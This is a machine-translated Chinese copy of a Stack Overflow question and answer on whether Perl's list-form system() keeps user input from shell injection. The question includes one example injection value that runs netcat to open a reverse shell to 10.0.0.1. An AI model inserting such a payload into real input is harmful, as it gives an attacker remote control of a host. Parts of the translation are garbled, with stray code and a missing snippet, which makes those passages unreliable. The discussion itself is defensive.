避免在系统perl函数中注入代码

时间:2016-03-09 09:28:11

标签: perl

system()是一个用args' n执行文件的函数,意思是' n'一个真实的数字。

如果我们有:system("path/to/program","firstArg","secondArg",...);第二个参数中的字符串将始终是传递给"path/to/program"的字符串吗?

如果我喜欢:system("path/to/program","legitArg",$userinput); - $userinput是否容易受到代码注入攻击?或者它将作为字符串传递给path/to/program? 即使$userinput="some_kind_of_escape /bin/nc -e /bin/sh 10.0.0.1 1234"

如果不是,我怎么能参数化这些论点?

更新:根据下面的回答,我从斯坦福找到了这个:using the perl system() function

1 个答案:

答案 0 :(得分:6)

用于避免shell注入的(几乎)正确用法,因为Perl将使用seating[i] = line;直接执行给定的程序,而不通过命令shell传递参数。

来自execvp

  

如果LIST中有多个参数,或者如果               LIST是一个包含多个值的数组,启动程序               由列表的第一个元素给出,其中包含参数               列表的其余部分。如果只有一个标量参数,那么               检查shell元字符的参数,如果有的话               any,整个参数传递给系统的命令shell               用于解析(这是" / bin / sh -c"在Unix平台上,但有所不同               其他平台)。如果没有shell元字符               参数,它被分成单词并直接传递给" execvp",               哪个更有效率。在Windows上,只有"系统程序               LIST"语法将可靠地避免使用shell; "系统列表",               即使有多个元素,也会回到shell中               第一个产卵失败。

请注意Windows系统上有关perldoc system vs system LIST的警告,因此如果您的代码要在那里运行,则应使用:

system PROGRAM LIST

当然,如果正在执行的程序接受用户提供的参数并将其传递给shell本身,那么什么都不能保护你。